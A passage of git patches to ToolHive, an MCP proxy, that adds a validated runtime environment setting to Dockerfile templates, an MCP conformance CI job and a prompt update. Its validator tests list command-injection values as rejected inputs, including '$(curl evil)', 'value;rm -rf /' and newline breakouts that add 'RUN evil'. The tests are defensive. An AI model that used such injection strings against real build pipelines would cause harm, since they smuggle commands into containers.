"PYTHON_KEYRING_BACKEND", value: "keyrings.alt.file.PlaintextKeyring"}, + {key: "NODE_ENV", value: "production"}, + {key: "FOO_BAR_123", value: "some-value"}, + } + + for _, tt := range tests { + t.Run(tt.key, func(t *testing.T) { + t.Parallel() + + rc := &RuntimeConfig{ + RuntimeEnv: map[string]string{tt.key: tt.value}, + } + assert.NoError(t, rc.Validate()) + }) + } +} + +func TestRuntimeConfigValidate_InvalidRuntimeEnvKeys(t *testing.T) { + t.Parallel() + + tests := []struct { + name string + key string + }{ + {name: "lowercase key", key: "path_backend"}, + {name: "starts with digit", key: "1FOO"}, + {name: "contains hyphen", key: "FOO-BAR"}, + {name: "empty key", key: ""}, + {name: "contains space", key: "FOO BAR"}, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + t.Parallel() + + rc := &RuntimeConfig{ + RuntimeEnv: map[string]string{tt.key: "some-value"}, + } + err := rc.Validate() + require.Error(t, err) + assert.Contains(t, err.Error(), "invalid runtime env key") + }) + } +} + +func TestRuntimeConfigValidate_ReservedRuntimeEnvKeys(t *testing.T) { + t.Parallel() + + reservedKeys := []string{"PATH", "HOME", "LD_PRELOAD"} + + for _, key := range reservedKeys { + t.Run(key, func(t *testing.T) { + t.Parallel() + + rc := &RuntimeConfig{ + RuntimeEnv: map[string]string{key: "some-value"}, + } + err := rc.Validate() + require.Error(t, err) + assert.Contains(t, err.Error(), "is reserved and cannot be overridden") + }) + } +} + +func TestRuntimeConfigValidate_InvalidRuntimeEnvValues(t *testing.T) { + t.Parallel() + + tests := []struct { + name string + value string + }{ + {name: "backtick command substitution", value: "`id`"}, + {name: "dollar-paren command substitution", value: "$(curl evil)"}, + {name: "dollar-brace expansion", value: "${HOME}"}, + {name: "trailing backslash", value: `value\`}, + {name: "embedded newline", value: "value\nRUN evil"}, + {name: "embedded carriage return", value: "value\rRUN evil"}, + {name: "embedded double quote breaks out of ENV quoting", value: `value" && RUN evil`}, + {name: "semicolon separator", value: "value;rm -rf /"}, + {name: "command chaining with &&", value: "value && evil"}, + {name: "command chaining with ||", value: "value || evil"}, + {name: "pipe operator", value: "value|cat"}, + {name: "redirect operator >", value: "value>file"}, + {name: "redirect operator <", value: "value" will be appended after these build args. BuildArgs []string - // BuildEnv contains environment variables to inject into the Dockerfile builder stage. - // These are used for configuring package managers (e.g., custom registry URLs). + // BuildEnv contains environment variables to inject into the Dockerfile builder stage only. + // These are used for configuring package managers (e.g., custom registry URLs) and do NOT + // persist into the final runtime image or the running container's environment. + // For environment variables the running container's process needs at startup + // (e.g. feature flags, cache backend selection), use RuntimeConfig.RuntimeEnv instead. // Keys must be uppercase with underscores, values are validated for safety. BuildEnv map[string]string // BuildAuthFiles contains auth file contents keyed by file type (npmrc, netrc, etc). diff --git a/pkg/container/templates/templates_test.go b/pkg/container/templates/templates_test.go index 0f9cc86944..f11052540f 100644 --- a/pkg/container/templates/templates_test.go +++ b/pkg/container/templates/templates_test.go @@ -348,6 +348,81 @@ func TestGetDockerfileTemplate(t *testing.T) { wantNotContains: nil, wantErr: false, }, + { + // Okta MCP server needs a non-default keyring backend at container + // startup, since the default backend requires a desktop session. + name: "UVX transport with RuntimeEnv", + transportType: TransportTypeUVX, + data: TemplateData{ + MCPPackage: "okta-mcp-server", + RuntimeConfig: &RuntimeConfig{ + BuilderImage: "python:3.14-slim", + RuntimeEnv: map[string]string{ + "PYTHON_KEYRING_BACKEND": "keyrings.alt.file.PlaintextKeyring", + }, + }, + }, + wantContains: []string{ + "FROM python:", + "# Custom runtime environment variables", + `ENV PYTHON_KEYRING_BACKEND="keyrings.alt.file.PlaintextKeyring"`, + "uv tool install", + }, + wantMatches: []string{ + `FROM python:\d+\.\d+-slim AS builder`, + `FROM python:\d+\.\d+-slim`, + }, + wantNotContains: nil, + wantErr: false, + }, + { + name: "NPX transport with RuntimeEnv", + transportType: TransportTypeNPX, + data: TemplateData{ + MCPPackage: "example-package", + RuntimeConfig: &RuntimeConfig{ + BuilderImage: "node:24-alpine", + RuntimeEnv: map[string]string{ + "NODE_ENV": "production", + }, + }, + }, + wantContains: []string{ + "FROM node:", + "# Custom runtime environment variables", + `ENV NODE_ENV="production"`, + "npm install --save example-package", + }, + wantMatches: []string{ + `FROM node:\d+-alpine AS builder`, + }, + wantNotContains: nil, + wantErr: false, + }, + { + name: "GO transport with RuntimeEnv", + transportType: TransportTypeGO, + data: TemplateData{ + MCPPackage: "example-package", + RuntimeConfig: &RuntimeConfig{ + BuilderImage: "golang:1.26-alpine", + RuntimeEnv: map[string]string{ + "LOG_LEVEL": "debug", + }, + }, + }, + wantContains: []string{ + "FROM golang:", + "# Custom runtime environment variables", + `ENV LOG_LEVEL="debug"`, + "go install", + }, + wantMatches: []string{ + `FROM golang:\d+\.\d+-alpine AS builder`, + }, + wantNotContains: nil, + wantErr: false, + }, } for _, tt := range tests { @@ -459,6 +534,83 @@ func TestRuntimeStageInstallsAdditionalPackages(t *testing.T) { } } +func TestRuntimeEnvOnlyAppearsInRuntimeStage(t *testing.T) { + t.Parallel() + + tests := []struct { + name string + transportType TransportType + runtimeConfig *RuntimeConfig + wantEnvLine string // ENV line that must appear AFTER the second FROM, and nowhere before it + }{ + { + name: "NPX runtime stage sets RuntimeEnv", + transportType: TransportTypeNPX, + runtimeConfig: &RuntimeConfig{ + BuilderImage: "node:24-alpine", + RuntimeEnv: map[string]string{ + "NPX_RUNTIME_FLAG": "enabled", + }, + }, + wantEnvLine: `ENV NPX_RUNTIME_FLAG="enabled"`, + }, + { + name: "UVX runtime stage sets RuntimeEnv", + transportType: TransportTypeUVX, + runtimeConfig: &RuntimeConfig{ + BuilderImage: "python:3.14-slim", + RuntimeEnv: map[string]string{ + "PYTHON_KEYRING_BACKEND": "keyrings.alt.file.PlaintextKeyring", + }, + }, + wantEnvLine: `ENV PYTHON_KEYRING_BACKEND="keyrings.alt.file.PlaintextKeyring"`, + }, + { + name: "GO runtime stage sets RuntimeEnv", + transportType: TransportTypeGO, + runtimeConfig: &RuntimeConfig{ + BuilderImage: "golang:1.26-alpine", + RuntimeEnv: map[string]string{ + "GO_RUNTIME_FLAG": "enabled", + }, + }, + wantEnvLine: `ENV GO_RUNTIME_FLAG="enabled"`, + }, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + t.Parallel() + + data := TemplateData{ + MCPPackage: "test-package", + RuntimeConfig: tt.runtimeConfig, + } + + result, err := GetDockerfileTemplate(tt.transportType, data) + if err != nil { + t.Fatalf("GetDockerfileTemplate() error = %v", err) + } + + // Find the runtime stage (second FROM) and check that RuntimeEnv + // appears there, and only there - not in the builder stage. + parts := strings.SplitN(result, "\nFROM ", 2) + if len(parts) < 2 { + t.Fatal("Dockerfile does not contain a second FROM (runtime stage)") + } + builderStage := parts[0] + runtimeStage := parts[1] + + if !strings.Contains(runtimeStage, tt.wantEnvLine) { + t.Errorf("runtime stage does not contain %q.\nRuntime stage:\n%s", tt.wantEnvLine, runtimeStage) + } + if strings.Contains(builderStage, tt.wantEnvLine) { + t.Errorf("builder stage unexpectedly contains %q.\nBuilder stage:\n%s", tt.wantEnvLine, builderStage) + } + }) + } +} + func TestEmptyAdditionalPackagesDoesNotBreakBuild(t *testing.T) { t.Parallel() diff --git a/pkg/container/templates/uvx.tmpl b/pkg/container/templates/uvx.tmpl index 620e87411f..0a290ffd46 100644 --- a/pkg/container/templates/uvx.tmpl +++ b/pkg/container/templates/uvx.tmpl @@ -85,6 +85,11 @@ RUN package="{{.MCPPackage}}"; \ # Final stage - runtime image with pre-installed packages FROM {{.RuntimeConfig.BuilderImage}} +{{if .RuntimeConfig.RuntimeEnv}} +# Custom runtime environment variables +{{range $key, $value := .RuntimeConfig.RuntimeEnv}}ENV {{$key}}="{{$value}}" +{{end}} +{{end}} {{if .CACertContent}} # Add custom CA certificate for runtime COPY ca-cert.crt /tmp/custom-ca.crt diff --git a/pkg/runner/protocol.go b/pkg/runner/protocol.go index 4b5b150db9..6f381f3d22 100644 --- a/pkg/runner/protocol.go +++ b/pkg/runner/protocol.go @@ -7,6 +7,7 @@ import ( "context" "fmt" "log/slog" + "maps" "os" "path/filepath" "strings" @@ -214,6 +215,20 @@ func mergeRuntimeConfig(transportType templates.TransportType, override *templat } } + merged.RuntimeEnv = mergeEnvMaps(defaults.RuntimeEnv, override.RuntimeEnv) + + return merged +} + +// mergeEnvMaps merges two environment variable maps without mutating either +// input. Entries in override take precedence over entries in base. +func mergeEnvMaps(base, override map[string]string) map[string]string { + if len(base) == 0 && len(override) == 0 { + return nil + } + merged := make(map[string]string, len(base)+len(override)) + maps.Copy(merged, base) + maps.Copy(merged, override) return merged } diff --git a/pkg/runner/protocol_test.go b/pkg/runner/protocol_test.go index 56870200ea..d9bb55d100 100644 --- a/pkg/runner/protocol_test.go +++ b/pkg/runner/protocol_test.go @@ -5,6 +5,7 @@ package runner import ( "context" + "reflect" "strings" "testing" @@ -245,12 +246,13 @@ func TestTemplateDataWithLocalPath(t *testing.T) { func TestBuildFromProtocolSchemeWithNameDryRun(t *testing.T) { t.Parallel() tests := []struct { - name string - serverOrImage string - caCertPath string - buildArgs []string - wantContains []string - wantErr bool + name string + serverOrImage string + caCertPath string + buildArgs []string + runtimeOverride *templates.RuntimeConfig + wantContains []string + wantErr bool }{ { name: "NPX with buildArgs in dry-run", @@ -290,6 +292,22 @@ func TestBuildFromProtocolSchemeWithNameDryRun(t *testing.T) { buildArgs: []string{"start"}, wantErr: true, }, + { + // Motivating case: the Okta MCP server needs a non-default keyring + // backend baked into the runtime image since the default backend + // requires a desktop session that isn't available in a container. + name: "UVX with RuntimeEnv override in dry-run (Okta case)", + serverOrImage: "uvx://okta-mcp-server@1.1.3", + runtimeOverride: &templates.RuntimeConfig{ + RuntimeEnv: map[string]string{ + "PYTHON_KEYRING_BACKEND": "keyrings.alt.file.PlaintextKeyring", + }, + }, + wantContains: []string{ + `ENV PYTHON_KEYRING_BACKEND="keyrings.alt.file.PlaintextKeyring"`, + }, + wantErr: false, + }, } for _, tt := range tests { @@ -299,7 +317,7 @@ func TestBuildFromProtocolSchemeWithNameDryRun(t *testing.T) { // Call BuildFromProtocolSchemeWithName with dry-run=true dockerfileContent, err := BuildFromProtocolSchemeWithName( - ctx, nil, tt.serverOrImage, tt.caCertPath, "", tt.buildArgs, nil, true) + ctx, nil, tt.serverOrImage, tt.caCertPath, "", tt.buildArgs, tt.runtimeOverride, true) if (err != nil) != tt.wantErr { t.Errorf("BuildFromProtocolSchemeWithName() error = %v, wantErr %v", err, tt.wantErr) @@ -320,11 +338,12 @@ func TestBuildFromProtocolSchemeWithNameDryRun(t *testing.T) { func TestMergeRuntimeConfig(t *testing.T) { t.Parallel() tests := []struct { - name string - transport templates.TransportType - override *templates.RuntimeConfig - wantImage string - wantPackages []string + name string + transport templates.TransportType + override *templates.RuntimeConfig + wantImage string + wantPackages []string + wantRuntimeEnv map[string]string }{ { name: "only packages override, no image — image falls back to default", @@ -333,8 +352,9 @@ func TestMergeRuntimeConfig(t *testing.T) { BuilderImage: "", AdditionalPackages: []string{"curl"}, }, - wantImage: "node:24-alpine", - wantPackages: []string{"git", "ca-certificates", "curl"}, + wantImage: "node:24-alpine", + wantPackages: []string{"git", "ca-certificates", "curl"}, + wantRuntimeEnv: nil, }, { name: "both image and packages override — image from override, packages merged", @@ -343,8 +363,9 @@ func TestMergeRuntimeConfig(t *testing.T) { BuilderImage: "node:20-alpine", AdditionalPackages: []string{"curl"}, }, - wantImage: "node:20-alpine", - wantPackages: []string{"git", "ca-certificates", "curl"}, + wantImage: "node:20-alpine", + wantPackages: []string{"git", "ca-certificates", "curl"}, + wantRuntimeEnv: nil, }, { name: "duplicate package in override — not added twice", @@ -353,8 +374,9 @@ func TestMergeRuntimeConfig(t *testing.T) { BuilderImage: "", AdditionalPackages: []string{"git"}, }, - wantImage: "node:24-alpine", - wantPackages: []string{"git", "ca-certificates"}, + wantImage: "node:24-alpine", + wantPackages: []string{"git", "ca-certificates"}, + wantRuntimeEnv: nil, }, { name: "empty override — all defaults", @@ -363,8 +385,9 @@ func TestMergeRuntimeConfig(t *testing.T) { BuilderImage: "", AdditionalPackages: nil, }, - wantImage: "node:24-alpine", - wantPackages: []string{"git", "ca-certificates"}, + wantImage: "node:24-alpine", + wantPackages: []string{"git", "ca-certificates"}, + wantRuntimeEnv: nil, }, { name: "go transport — defaults apply", @@ -373,8 +396,9 @@ func TestMergeRuntimeConfig(t *testing.T) { BuilderImage: "", AdditionalPackages: []string{"make"}, }, - wantImage: "golang:1.26-alpine", - wantPackages: []string{"ca-certificates", "git", "make"}, + wantImage: "golang:1.26-alpine", + wantPackages: []string{"ca-certificates", "git", "make"}, + wantRuntimeEnv: nil, }, { name: "uvx transport — defaults apply", @@ -383,8 +407,29 @@ func TestMergeRuntimeConfig(t *testing.T) { BuilderImage: "", AdditionalPackages: []string{"curl"}, }, - wantImage: "python:3.14-slim", - wantPackages: []string{"ca-certificates", "git", "curl"}, + wantImage: "python:3.14-slim", + wantPackages: []string{"ca-certificates", "git", "curl"}, + wantRuntimeEnv: nil, + }, + { + name: "override sets RuntimeEnv — passes through", + transport: templates.TransportTypeNPX, + override: &templates.RuntimeConfig{ + RuntimeEnv: map[string]string{"NODE_ENV": "production"}, + }, + wantImage: "node:24-alpine", + wantPackages: []string{"git", "ca-certificates"}, + wantRuntimeEnv: map[string]string{"NODE_ENV": "production"}, + }, + { + name: "override RuntimeEnv nil — result nil since defaults never set RuntimeEnv", + transport: templates.TransportTypeNPX, + override: &templates.RuntimeConfig{ + RuntimeEnv: nil, + }, + wantImage: "node:24-alpine", + wantPackages: []string{"git", "ca-certificates"}, + wantRuntimeEnv: nil, }, } @@ -405,10 +450,75 @@ func TestMergeRuntimeConfig(t *testing.T) { } } } + if !reflect.DeepEqual(got.RuntimeEnv, tt.wantRuntimeEnv) { + t.Errorf("RuntimeEnv = %v, want %v", got.RuntimeEnv, tt.wantRuntimeEnv) + } + }) + } +} + +func TestMergeEnvMaps(t *testing.T) { + t.Parallel() + + tests := []struct { + name string + base map[string]string + override map[string]string + want map[string]string + }{ + { + name: "both nil", + base: nil, + override: nil, + want: nil, + }, + { + name: "base only", + base: map[string]string{"FOO": "bar"}, + override: nil, + want: map[string]string{"FOO": "bar"}, + }, + { + name: "override only", + base: nil, + override: map[string]string{"FOO": "bar"}, + want: map[string]string{"FOO": "bar"}, + }, + { + name: "override wins on shared key", + base: map[string]string{"FOO": "base-value", "BAR": "base-bar"}, + override: map[string]string{"FOO": "override-value"}, + want: map[string]string{"FOO": "override-value", "BAR": "base-bar"}, + }, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + t.Parallel() + + got := mergeEnvMaps(tt.base, tt.override) + assert.Equal(t, tt.want, got) }) } } +func TestMergeEnvMapsDoesNotMutateInputs(t *testing.T) { + t.Parallel() + + base := map[string]string{"FOO": "base-value"} + override := map[string]string{"BAR": "override-value"} + + got := mergeEnvMaps(base, override) + require.NotNil(t, got) + + // Mutate the returned map and confirm neither input map is affected. + got["FOO"] = "mutated" + got["BAZ"] = "new" + + assert.Equal(t, map[string]string{"FOO": "base-value"}, base) + assert.Equal(t, map[string]string{"BAR": "override-value"}, override) +} + func TestLoadRuntimeConfigMergesOverrideWithDefaults(t *testing.T) { t.Parallel() From 794bcb4452eb6b412550a4718c4814eb46f379c0 Mon Sep 17 00:00:00 2001 From: Jakub Hrozek Date: Wed, 15 Jul 2026 06:16:15 +0100 Subject: [PATCH 45/66] Add MCP conformance CI job for thv run proxy (#5806) ToolHive proxies MCP servers, so spec compliance of its transport/proxy layer can be verified with the upstream MCP conformance suite. Add a per-PR job that packages the conformance repo's reference server dynamically (cloned at a pinned version, built into a container), runs it through `thv run --transport streamable-http`, and points the conformance tool at the proxied /mcp endpoint. The CLI proxy passes the active suite cleanly, so the baseline is empty and any drop is a real regression. A single CONFORMANCE_VERSION pins both the npm tool and the git server source (repo tags map 1:1 to npm versions). Also add a `task conformance` target for local runs. The k8s operator-proxy path is intentionally out of scope pending a fix to its Host-header rewriting. Closes #5803 Co-authored-by: Claude Opus 4.8 --- .github/workflows/e2e-tests.yml | 40 +++++++++++ Taskfile.yml | 8 +++ test/conformance/.gitignore | 1 + test/conformance/Dockerfile | 15 ++++ test/conformance/README.md | 54 ++++++++++++++ test/conformance/expected-failures.yaml | 9 +++ test/conformance/run-conformance.sh | 96 +++++++++++++++++++++++++ 7 files changed, 223 insertions(+) create mode 100644 test/conformance/.gitignore create mode 100644 test/conformance/Dockerfile create mode 100644 test/conformance/README.md create mode 100644 test/conformance/expected-failures.yaml create mode 100755 test/conformance/run-conformance.sh diff --git a/.github/workflows/e2e-tests.yml b/.github/workflows/e2e-tests.yml index 4bfef44909..6c909ae611 100644 --- a/.github/workflows/e2e-tests.yml +++ b/.github/workflows/e2e-tests.yml @@ -154,3 +154,43 @@ jobs: path: | test/e2e/junit-report.xml retention-days: 7 + + conformance: + name: MCP Conformance + runs-on: ubuntu-8cores-32gb + needs: build-binary + timeout-minutes: 20 + steps: + - uses: actions/checkout@df4cb1c069e1874edd31b4311f1884172cec0e10 # v6 + + - name: Set up Node.js + uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020 # v4.4.0 + with: + node-version: '22' + + - name: Download ToolHive binary + uses: actions/download-artifact@37930b1c2abaa49bbe596cd826c3c89aef350131 # v7 + with: + name: toolhive-binary + path: ./bin/ + + - name: Set binary permissions + run: chmod +x ./bin/thv + + - name: Set up container runtime (Docker) + run: | + docker --version + sudo systemctl start docker + + - name: Run MCP conformance suite + env: + THV_BINARY: ${{ github.workspace }}/bin/thv + run: ./test/conformance/run-conformance.sh + + - name: Upload conformance results + if: always() + uses: actions/upload-artifact@b7c566a772e6b6bfb58ed0dc250532a479d7789f # v6 + with: + name: conformance-results + path: test/conformance/results + retention-days: 7 diff --git a/Taskfile.yml b/Taskfile.yml index 18996f5b1b..708b86bad1 100644 --- a/Taskfile.yml +++ b/Taskfile.yml @@ -215,6 +215,14 @@ tasks: - task: test-integration-windows platforms: [windows] + conformance: + desc: Run the MCP conformance suite against a `thv run` deployment (requires Docker + Node) + deps: [build] + env: + THV_BINARY: "{{.PWD}}/bin/thv" + cmds: + - ./test/conformance/run-conformance.sh + test-all: desc: Run all tests (unit, integration, and e2e) deps: [test, test-integration, test-e2e] diff --git a/test/conformance/.gitignore b/test/conformance/.gitignore new file mode 100644 index 0000000000..fbca225379 --- /dev/null +++ b/test/conformance/.gitignore @@ -0,0 +1 @@ +results/ diff --git a/test/conformance/Dockerfile b/test/conformance/Dockerfile new file mode 100644 index 0000000000..b66a0f083e --- /dev/null +++ b/test/conformance/Dockerfile @@ -0,0 +1,15 @@ +# Builds the MCP conformance reference server from the conformance repo's +# examples/servers/typescript directory. This Dockerfile is copied into that +# directory by run-conformance.sh before `docker build`, so the build context +# is the server source (package.json, *.ts). +# +# The stock `npm start` (tsx) entrypoint is used unchanged: it works behind +# `thv run` because the CLI workload container is not read-only-rootfs. +FROM node:22-slim +WORKDIR /app +COPY package.json package-lock.json ./ +RUN npm ci +COPY *.ts ./ +ENV PORT=3000 +EXPOSE 3000 +CMD ["npm", "start"] diff --git a/test/conformance/README.md b/test/conformance/README.md new file mode 100644 index 0000000000..ee3d319f58 --- /dev/null +++ b/test/conformance/README.md @@ -0,0 +1,54 @@ +# MCP Conformance + +Runs the [MCP conformance suite](https://github.com/modelcontextprotocol/conformance) +against a ToolHive deployment to verify that ToolHive's proxy/transport layer is +spec-transparent. + +## What it does + +ToolHive is a proxy in front of MCP servers, so the suite is run against the +endpoint that `thv run` exposes. `run-conformance.sh`: + +1. Clones the conformance repo at a pinned version and builds its reference + server (`examples/servers/typescript/everything-server.ts`, which implements + the fixtures the suite requires) into a container image using `Dockerfile`. +2. Starts it through `thv run --transport streamable-http`. +3. Points `npx @modelcontextprotocol/conformance server` at the proxied + `/mcp` endpoint, gated by `expected-failures.yaml`. + +The reference server is **not** the npm `@modelcontextprotocol/server-everything` +package — that is an unrelated server that does not implement the conformance +fixtures. + +## Running locally + +```bash +task conformance +``` + +Requires Docker and Node.js. Results are written to `test/conformance/results/`. + +## Version pinning + +`CONFORMANCE_VERSION` (default in `run-conformance.sh`) pins **both** the npm +tool (`@modelcontextprotocol/conformance@$VERSION`) and the git server source +(`git --branch v$VERSION`). Repo tags map 1:1 to npm versions, so bump both by +changing this one value. Renovate does not track this pair — bump it manually. + +## The baseline (`expected-failures.yaml`) + +Lists scenarios that are known to fail and accepted. CI fails only on failures +**not** listed here. An entry that starts passing again is reported as *stale* +and also fails CI, so keep the list accurate. The CLI (`thv run`) proxy is +transparent, so the list is currently empty. + +## Scope + +Covers the CLI (`thv run`) proxy path with the `active` suite. Not covered: + +- **Kubernetes operator proxy** — it rewrites the outbound `Host` header to the + upstream Service identity, which breaks MCP servers that validate `Host` (per + the spec's DNS-rebinding guidance). Blocked on resolving that before a k8s + conformance gate is meaningful. +- **stdio→streamable-http bridge** — the reference server is HTTP-only; covering + the bridge needs a stdio fixture server. diff --git a/test/conformance/expected-failures.yaml b/test/conformance/expected-failures.yaml new file mode 100644 index 0000000000..6116d79337 --- /dev/null +++ b/test/conformance/expected-failures.yaml @@ -0,0 +1,9 @@ +# Conformance baseline for the ToolHive CLI (`thv run`) proxy path. +# +# List scenario names here that are KNOWN to fail and accepted. The suite fails +# CI only on failures NOT listed here. Note: an entry that starts passing again +# is reported as a STALE entry and also fails CI — keep this list accurate. +# +# The CLI proxy is transport-transparent, so this list is empty: every scenario +# in the `active` suite is expected to pass. +server: [] diff --git a/test/conformance/run-conformance.sh b/test/conformance/run-conformance.sh new file mode 100755 index 0000000000..5749fc6cd9 --- /dev/null +++ b/test/conformance/run-conformance.sh @@ -0,0 +1,96 @@ +#!/bin/bash +# Run the MCP conformance suite against a ToolHive deployment. +# +# Packages the conformance repo's reference server (examples/servers/typescript) +# dynamically at a pinned version, runs it through `thv run` (streamable-http), +# and points `npx @modelcontextprotocol/conformance` at the proxied endpoint. +# +# A single CONFORMANCE_VERSION pins both the npm tool and the git server source +# (repo tags vX.Y.Z map 1:1 to npm versions), keeping fixtures and tool in sync. +# +# Env: +# CONFORMANCE_VERSION conformance tool + server version (default: 0.1.16) +# CONFORMANCE_SUITE suite to run: active|all|pending (default: active) +# THV_BINARY path to the thv binary (default: thv) +set -euo pipefail + +CONFORMANCE_VERSION="${CONFORMANCE_VERSION:-0.1.16}" +CONFORMANCE_SUITE="${CONFORMANCE_SUITE:-active}" +THV_BINARY="${THV_BINARY:-thv}" +SERVER_NAME="conf-sut-ci" +IMAGE="mcp-conformance-server:ci" + +SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd)" +RESULTS_DIR="${SCRIPT_DIR}/results" +EXPECTED_FAILURES="${SCRIPT_DIR}/expected-failures.yaml" + +# thv proxying to a container is a local-only, trusted-dev workflow. +export TOOLHIVE_DEV=true +export TOOLHIVE_SKIP_DESKTOP_CHECK=1 + +CLONE_DIR="" +cleanup() { + "${THV_BINARY}" rm "${SERVER_NAME}" >/dev/null 2>&1 || true + [ -n "${CLONE_DIR}" ] && rm -rf "${CLONE_DIR}" || true +} +trap cleanup EXIT + +echo "==> Cloning conformance repo v${CONFORMANCE_VERSION}" +CLONE_DIR="$(mktemp -d)" +for attempt in 1 2 3; do + if git clone --depth 1 --branch "v${CONFORMANCE_VERSION}" \ + https://github.com/modelcontextprotocol/conformance "${CLONE_DIR}/repo"; then + break + fi + echo "clone attempt ${attempt} failed; retrying..." >&2 + rm -rf "${CLONE_DIR}/repo" + sleep 5 + [ "${attempt}" = 3 ] && { echo "ERROR: could not clone conformance repo" >&2; exit 1; } +done + +SERVER_DIR="${CLONE_DIR}/repo/examples/servers/typescript" +if [ ! -f "${SERVER_DIR}/everything-server.ts" ]; then + echo "ERROR: reference server not found at ${SERVER_DIR}" >&2 + exit 1 +fi + +echo "==> Building reference server image" +cp "${SCRIPT_DIR}/Dockerfile" "${SERVER_DIR}/Dockerfile" +docker build -t "${IMAGE}" "${SERVER_DIR}" + +echo "==> Starting server through ToolHive" +"${THV_BINARY}" rm -f "${SERVER_NAME}" >/dev/null 2>&1 || true +"${THV_BINARY}" run "${IMAGE}" \ + --transport streamable-http --target-port 3000 --name "${SERVER_NAME}" + +echo "==> Resolving proxy URL" +URL="" +for _ in $(seq 1 30); do + URL="$("${THV_BINARY}" list --format json 2>/dev/null \ + | python3 -c "import sys,json; d=json.load(sys.stdin) +print(next((w['url'] for w in d if w.get('name')=='${SERVER_NAME}' and w.get('status')=='running' and w.get('url')), ''))" \ + 2>/dev/null || true)" + [ -n "${URL}" ] && break + sleep 2 +done +[ -z "${URL}" ] && { echo "ERROR: could not resolve ${SERVER_NAME} URL" >&2; "${THV_BINARY}" list || true; exit 1; } +echo " URL: ${URL}" + +echo "==> Waiting for endpoint to be ready" +for _ in $(seq 1 30); do + code="$(curl -s -o /dev/null -w '%{http_code}' "${URL}" -X POST \ + -H 'content-type: application/json' \ + -H 'accept: application/json, text/event-stream' \ + -d '{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2025-06-18","capabilities":{},"clientInfo":{"name":"probe","version":"1"}}}' || true)" + [ "${code}" = "200" ] && break + sleep 2 +done +[ "${code}" = "200" ] || { echo "ERROR: endpoint never became ready (last HTTP ${code})" >&2; exit 1; } + +echo "==> Running conformance suite (${CONFORMANCE_SUITE})" +rm -rf "${RESULTS_DIR}" +npx -y "@modelcontextprotocol/conformance@${CONFORMANCE_VERSION}" server \ + --url "${URL}" \ + --suite "${CONFORMANCE_SUITE}" \ + --expected-failures "${EXPECTED_FAILURES}" \ + -o "${RESULTS_DIR}" From f4632d8deab998b65b93b870901c65fe6935c27b Mon Sep 17 00:00:00 2001 From: Jakub Hrozek Date: Wed, 15 Jul 2026 09:31:22 +0100 Subject: [PATCH 46/66] Prefer context7 for MCP spec lookups, drop hardcoded version (#5805) Hardcoding the 2025-11-25 date meant this agent would silently point at a superseded spec once a new stable release ships, and one of its fallback URLs (basic/security_best_practices) had already gone dead after a doc restructure. Resolve the current version and page set dynamically instead: try context7 first (it mints a new pinned library per release), fall back to WebFetch with the unversioned spec index and sitemap.xml as self-correcting sources of truth. Closes #5804 Co-authored-by: Claude Sonnet 5 --- .claude/agents/mcp-protocol-expert.md | 43 +++++++++++++-------------- 1 file changed, 20 insertions(+), 23 deletions(-) diff --git a/.claude/agents/mcp-protocol-expert.md b/.claude/agents/mcp-protocol-expert.md index b4f1ca8558..825c67472b 100644 --- a/.claude/agents/mcp-protocol-expert.md +++ b/.claude/agents/mcp-protocol-expert.md @@ -1,7 +1,7 @@ --- name: mcp-protocol-expert -description: "PROACTIVELY use for MCP protocol questions, transport implementations, JSON-RPC debugging, and spec compliance verification. Expert in MCP 2025-11-25 specification." -tools: [Read, Write, Edit, Glob, Grep, WebFetch] +description: "PROACTIVELY use for MCP protocol questions, transport implementations, JSON-RPC debugging, and spec compliance verification. Expert in the current stable MCP specification." +tools: [Read, Write, Edit, Glob, Grep, WebFetch, mcp__context7__resolve-library-id, mcp__context7__get-library-docs] model: inherit --- @@ -22,27 +22,24 @@ Defer to: oauth-expert (OAuth/OIDC), kubernetes-expert (K8s operator), toolhive- ## Critical: Always Fetch Latest Spec -**Before providing MCP protocol guidance, ALWAYS use WebFetch to retrieve the relevant spec page.** MCP is actively evolving — the spec is the single source of truth. +**Before providing MCP protocol guidance, ALWAYS retrieve the relevant spec page — never answer from pre-training knowledge alone.** MCP is actively evolving and the stable spec version changes over time; the spec is the single source of truth, not this file. -### Spec URLs (2025-11-25) -- Main: https://modelcontextprotocol.io/specification/2025-11-25 -- Transports: https://modelcontextprotocol.io/specification/2025-11-25/basic/transports -- Lifecycle: https://modelcontextprotocol.io/specification/2025-11-25/basic/lifecycle -- Authorization: https://modelcontextprotocol.io/specification/2025-11-25/basic/authorization -- Security: https://modelcontextprotocol.io/specification/2025-11-25/basic/security_best_practices -- Tasks: https://modelcontextprotocol.io/specification/2025-11-25/basic/utilities/tasks -- Tools: https://modelcontextprotocol.io/specification/2025-11-25/server/tools -- Elicitation: https://modelcontextprotocol.io/specification/2025-11-25/client/elicitation -- MCP Auth Extensions: https://modelcontextprotocol.io/extensions/auth/overview -- Schema: https://modelcontextprotocol.io/specification/2025-11-25/schema - -Check for newer spec versions — the date in the URL indicates version. +**Prefer context7. Fall back to WebFetch only if context7/MCP tools are unavailable or return nothing relevant** (context7 server unreachable, no matching library, stale/missing content for the topic). ### Workflow -1. Use WebFetch to retrieve the relevant spec page -2. Cross-reference fetched spec with ToolHive's implementation -3. Provide guidance based on the latest spec -4. Explicitly note any discrepancies between spec and implementation + +1. **Try context7 first**: + - Call `mcp__context7__resolve-library-id` fresh every time (do not hardcode or reuse a library ID across sessions) with a query like "Model Context Protocol specification". Context7 mints a new pinned library per stable release (e.g. `/websites/modelcontextprotocol_io_specification_2025-11-25`, `_2025-06-18`), so a fresh resolve naturally surfaces whichever dated snapshot is current — don't assume any specific date. + - Prefer the pinned dated-spec website library over the general repo/docs libraries when you need precise spec text; use `/modelcontextprotocol/modelcontextprotocol` (mode `info`) for narrative/rationale questions. + - Call `mcp__context7__get-library-docs` with a topic scoped to the question (e.g. "authorization discovery", "streamable http transport"). +2. **Fall back to WebFetch** if context7 didn't resolve a library, the MCP tools aren't available in this environment, or the returned snippets don't answer the question: + - First resolve the current version: fetch the unversioned index `https://modelcontextprotocol.io/specification` and read its "Learn More" card links — they point at the current dated version (e.g. `/specification/2025-11-25/...`). Do not assume a specific dated version from memory; page names and even top-level structure change between releases (verified: `basic/security_best_practices` existed in an older layout and is gone from the current sitemap). + - For the full, current set of pages under that version, 